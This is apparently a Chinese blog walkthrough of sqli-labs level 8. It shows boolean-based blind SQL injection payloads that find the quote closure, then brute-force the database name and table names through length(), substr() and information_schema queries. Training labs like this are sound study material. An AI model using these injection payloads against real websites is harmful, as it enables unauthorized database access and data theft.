sql注入之布尔盲注

sqli-lbas第八关

1、输入id=1/id=1"都回显正常,输入?id=1'回显异常,可得闭合符号含有单引号',所以我们可以输入:?id=1'--+来判断闭合符号,结果发现闭合符号就是只有一个单引号

2、因为输入错误和正常页面都不会显示有用的东西,只是两者有一点区别,所以我们可以尝试使用布尔盲注

3、输入:?id=1' and length(database())=n--+,当n=8时发现页面回显同正常情况,所以可得数据库名为8个字符

4、输入:?id=1' and substr(database(),1,1)='a'--+

5、抓包,设置两个变量,攻击方式选择第四种,第一个变量为1~8,因为数据库名长为8

6、然后进行爆破,根据爆破结果可知数据库名为:security

 7、判断该数据库下含有几个表:?id=1' and (select count(*) from information_schema.tables where table_schema=database())=1--+,然后将最后一个1设置为变量,进行攻击可得该数据库下含有4个表(注意这里的select语句末尾不要加分号;)

 8、查看第一个表的表名长度:?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit0,1))=n--+(这里select语句要用两个括号包裹,一个不行,我也不清楚为什么,懂的告知一下,谢了),然后当n=6时页面回显同正常页面,所以第一个表的表名长为6

9、然后依次猜解每个表的表名,这里以第一个表为例:?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)="e"--+

10、抓包,爆破可得第一个表名为emails

 11、后面的猜解以此类推就行

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值